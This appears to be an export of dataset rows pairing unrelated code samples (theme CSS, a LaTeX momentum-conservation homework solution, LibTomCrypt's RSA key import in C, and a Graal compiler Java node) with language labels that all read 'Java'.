-moz-box-shadow: '' 0 0 0 rgba(0, 0, 0, 0.0);
-o-box-shadow: '' 0 0 0 rgba(0, 0, 0, 0.0);
box-shadow: '' 0 0 0 rgba(0, 0, 0, 0.0);
}
.flex-caption {
position: absolute;
width: 100%;
padding: 2%;
left: 0;
bottom: 0;
background: rgba(0 , 0 , 0 , .5);
color: #fff;
text-shadow: 0 -1px 0 rgba(0,0,0,.3);
font-size: 14px;
line-height: 18px;
margin-bottom: 0px;
}
.flex-direction-nav .flex-prev {
left: -50px;
opacity: 1;
background-color: none;
}
.flex-direction-nav .flex-next {
right: -50px;
text-align: right;
opacity: 1;
background-color: none;
}
.flexslider:hover .flex-direction-nav .flex-prev {
opacity: 1;
left: -50px;
}
.flexslider:hover .flex-direction-nav .flex-prev:hover {
opacity: 1;
}
.flexslider:hover .flex-direction-nav .flex-next {
opacity: 1;
right: -50px;
}
.flex-direction-nav a:before {
content: " ";
display: block;
background: url('http://localhost:8888/portfolio-dev/wp-content/themes/bootstrap-wp-child/css/fonts/angle-left.png') no-repeat;
width: 40px;
height: 40px;
}
.flex-direction-nav a.flex-next:before {
content: " ";
display: block;
background: url('http://localhost:8888/portfolio-dev/wp-content/themes/bootstrap-wp-child/css/fonts/angle-right.png') no-repeat;
width: 40px;
height: 40px;
}
/* About Page
-------------------------------------------------------------- */
.about-sidebar {
color: #333;
font-family: "Lato", Helvetica, Arial, sans-serif;
line-height: 21px;
}
/* Header
-------------------------------------------------------------- */
/*.site-title a{
text-transform: uppercase;
font-weight: 300;
font-size: 36px;
text-align: left;
color: #565656;
}
.site-title a:hover{
}
.site-description{
font-style: italic;
}
header {
padding: 20px 0;
background: transparent;
margin: 20px auto;
}
header .gravatar {
overflow: hidden;
width: 100px;
height: 100px;
-moz-border-radius: 50%;
-webkit-border-radius: 50%;
border-radius: 50%;
margin: 0;
float: right;
}
header #brand {
margin:1em 0;
}
header #brand h1 {
font-weight: 300;
color: #565656;
font-size: 16px;
font-size: 1.6rem;
margin: 0;
padding: 0;
text-transform: uppercase;
letter-spacing: 0em;
}
header #brand h1 a {
color: #565656;
text-decoration: none;
}
header #brand h1 span {
font-weight: 300;
color: #888888;
text-transform: lowercase;
}
header nav {
float: right;
}
.menu-main-nav-container, .menu-main-container {
float: right;
}
.menu-header-container {
float: right;
}
header nav ul li {
float: left;
margin: 2px 20px 0 0;
}
header nav ul li a {
font-family: "Lato", Helvetica, Arial, sans-serif;
font-size: 14px;
font-weight: 300;
text-transform: uppercase;
}
*/ | Java |
\section{Problem (6)}
In the \cref{fig:hw9_problem6}, block $A$ (mass $1.5 \ sl$) slides into block $B$ (mass $2.5 \ sl$), along a frictionless surface. The directions of velocities before and after the collision are indicated; the corresponding speeds are $v_{Ai} = \ 4.0 \ ft/s$, $v_{Bi} = \ 2.4 \ ft/s$, and $v_{Bf} = \ 3.2 \ ft/s$. What is velocity $v_{Af}$ (including sign, where positive denotes motion to the right)?
\begin{figure}[H]
\begin{center}
\includegraphics[scale=1]{hw9_problem6}
\caption{Illustration of Problem 6}
\label{fig:hw9_problem6}
\end{center}
\end{figure}
\textbf{R:}
\begin{align}
\Delta p = \ &0& \notag \\
p_{i} = \ &p_{f}& \notag \\
m_{A}\vec{v}_{Ai} + m_{B}\vec{v}_{Bi} = \ &m_{A}\vec{v}_{Af} + m_{B}\vec{v}_{Bf}& \notag \\
\vec{v}_{Af} = \ &\frac{m_{A}\vec{v}_{Ai} + m_{B}\vec{v}_{Bi} - m_{B}\vec{v}_{Bf}}{m_{A}}& \notag \\
= \ &\vec{v}_{Ai} + \frac{m_{B}(\vec{v}_{Bi} - \vec{v}_{Bf})}{m_{A}}& \notag \\
= \ &(4.0 \ ft/s) + \frac{(2.5 \ sl)[(2.4 \ ft/s) - (3.2 \ ft/s)]}{1.5 \ sl}& \notag \\
= \ &(4.0 \ ft/s) + (1.\bar{6})(-0.8 \ ft/s)& \notag \\
= \ &(4.0 \ ft/s) - (1.\bar{3} \ ft/s)& \notag \\
= \ &+ 2.\bar{6} \ ft/s&
\end{align}
| Java |
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
#include "tomcrypt_private.h"
/**
@file rsa_import.c
Import a PKCS RSA key, Tom St Denis
*/
#ifdef LTC_MRSA
/**
Import an RSAPublicKey or RSAPrivateKey [two-prime only, only support >= 1024-bit keys, defined in PKCS #1 v2.1]
@param in The packet to import from
@param inlen It's length (octets)
@param key [out] Destination for newly imported key
@return CRYPT_OK if successful, upon error allocated memory is freed
*/
int rsa_import(const unsigned char *in, unsigned long inlen, rsa_key *key)
{
int err;
void *zero;
unsigned char *tmpbuf=NULL;
unsigned long tmpbuf_len, len;
LTC_ARGCHK(in != NULL);
LTC_ARGCHK(key != NULL);
LTC_ARGCHK(ltc_mp.name != NULL);
/* init key */
if ((err = mp_init_multi(&key->e, &key->d, &key->N, &key->dQ,
&key->dP, &key->qP, &key->p, &key->q, NULL)) != CRYPT_OK) {
return err;
}
/* see if the OpenSSL DER format RSA public key will work */
tmpbuf_len = inlen;
tmpbuf = XCALLOC(1, tmpbuf_len);
if (tmpbuf == NULL) {
err = CRYPT_MEM;
goto LBL_ERR;
}
len = 0;
err = x509_decode_subject_public_key_info(in, inlen,
PKA_RSA, tmpbuf, &tmpbuf_len,
LTC_ASN1_NULL, NULL, &len);
if (err == CRYPT_OK) { /* SubjectPublicKeyInfo format */
/* now it should be SEQUENCE { INTEGER, INTEGER } */
if ((err = der_decode_sequence_multi(tmpbuf, tmpbuf_len,
LTC_ASN1_INTEGER, 1UL, key->N,
LTC_ASN1_INTEGER, 1UL, key->e,
LTC_ASN1_EOL, 0UL, NULL)) != CRYPT_OK) {
goto LBL_ERR;
}
key->type = PK_PUBLIC;
err = CRYPT_OK;
goto LBL_FREE;
}
/* not SSL public key, try to match against PKCS #1 standards */
err = der_decode_sequence_multi(in, inlen, LTC_ASN1_INTEGER, 1UL, key->N,
LTC_ASN1_EOL, 0UL, NULL);
if (err != CRYPT_OK && err != CRYPT_INPUT_TOO_LONG) {
goto LBL_ERR;
}
if (mp_cmp_d(key->N, 0) == LTC_MP_EQ) {
if ((err = mp_init(&zero)) != CRYPT_OK) {
goto LBL_ERR;
}
/* it's a private key */
if ((err = der_decode_sequence_multi(in, inlen,
LTC_ASN1_INTEGER, 1UL, zero,
LTC_ASN1_INTEGER, 1UL, key->N,
LTC_ASN1_INTEGER, 1UL, key->e,
LTC_ASN1_INTEGER, 1UL, key->d,
LTC_ASN1_INTEGER, 1UL, key->p,
LTC_ASN1_INTEGER, 1UL, key->q,
LTC_ASN1_INTEGER, 1UL, key->dP,
LTC_ASN1_INTEGER, 1UL, key->dQ,
LTC_ASN1_INTEGER, 1UL, key->qP,
LTC_ASN1_EOL, 0UL, NULL)) != CRYPT_OK) {
mp_clear(zero);
goto LBL_ERR;
}
mp_clear(zero);
key->type = PK_PRIVATE;
} else if (mp_cmp_d(key->N, 1) == LTC_MP_EQ) {
/* we don't support multi-prime RSA */
err = CRYPT_PK_INVALID_TYPE;
goto LBL_ERR;
} else {
/* it's a public key and we lack e */
if ((err = der_decode_sequence_multi(in, inlen,
LTC_ASN1_INTEGER, 1UL, key->N,
LTC_ASN1_INTEGER, 1UL, key->e,
LTC_ASN1_EOL, 0UL, NULL)) != CRYPT_OK) {
goto LBL_ERR;
}
key->type = PK_PUBLIC;
}
err = CRYPT_OK;
goto LBL_FREE;
LBL_ERR:
mp_clear_multi(key->d, key->e, key->N, key->dQ, key->dP, key->qP, key->p, key->q, NULL);
LBL_FREE:
if (tmpbuf != NULL) {
XFREE(tmpbuf);
}
return err;
}
#endif /* LTC_MRSA */
/* ref: $Format:%D$ */
/* git commit: $Format:%H$ */
/* commit time: $Format:%ai$ */
| Java |
/*
* Copyright (c) 2013, 2015, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package com.oracle.graal.nodes.calc;
import java.nio.*;
import com.oracle.graal.api.meta.*;
import com.oracle.graal.compiler.common.type.*;
import com.oracle.graal.graph.*;
import com.oracle.graal.graph.spi.*;
import com.oracle.graal.lir.gen.*;
import com.oracle.graal.nodeinfo.*;
import com.oracle.graal.nodes.*;
import com.oracle.graal.nodes.spi.*;
/**
* The {@code ReinterpretNode} class represents a reinterpreting conversion that changes the stamp
* of a primitive value to some other incompatible stamp. The new stamp must have the same width as
* the old stamp.
*/
@NodeInfo
public final class ReinterpretNode extends UnaryNode implements ArithmeticLIRLowerable {
public static final NodeClass<ReinterpretNode> TYPE = NodeClass.create(ReinterpretNode.class);
public ReinterpretNode(Kind to, ValueNode value) {
this(StampFactory.forKind(to), value);
}
public ReinterpretNode(Stamp to, ValueNode value) {
super(TYPE, to, value);
assert to instanceof ArithmeticStamp;
}
private SerializableConstant evalConst(SerializableConstant c) {
/*
* We don't care about byte order here. Either would produce the correct result.
*/
ByteBuffer buffer = ByteBuffer.wrap(new byte[c.getSerializedSize()]).order(ByteOrder.nativeOrder());
c.serialize(buffer);
buffer.rewind();
SerializableConstant ret = ((ArithmeticStamp) stamp()).deserialize(buffer);
assert !buffer.hasRemaining();
return ret;
}
@Override
public ValueNode canonical(CanonicalizerTool tool, ValueNode forValue) {
if (forValue.isConstant()) {
return ConstantNode.forConstant(stamp(), evalConst((SerializableConstant) forValue.asConstant()), null);
}
if (stamp().isCompatible(forValue.stamp())) {
return forValue;
}
if (forValue instanceof ReinterpretNode) {
ReinterpretNode reinterpret = (ReinterpretNode) forValue;
return new ReinterpretNode(stamp(), reinterpret.getValue());
}
return this;
}
@Override
public void generate(NodeMappableLIRBuilder builder, ArithmeticLIRGenerator gen) {
LIRKind kind = gen.getLIRKind(stamp());
builder.setResult(this, gen.emitReinterpret(kind, builder.operand(getValue())));
}
public static ValueNode reinterpret(Kind toKind, ValueNode value) {
return value.graph().unique(new ReinterpretNode(toKind, value));
}
@NodeIntrinsic
public static native float reinterpret(@ConstantNodeParameter Kind kind, int value);
@NodeIntrinsic
public static native int reinterpret(@ConstantNodeParameter Kind kind, float value);
@NodeIntrinsic
public static native double reinterpret(@ConstantNodeParameter Kind kind, long value);
@NodeIntrinsic
public static native long reinterpret(@ConstantNodeParameter Kind kind, double value);
}
| Java |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.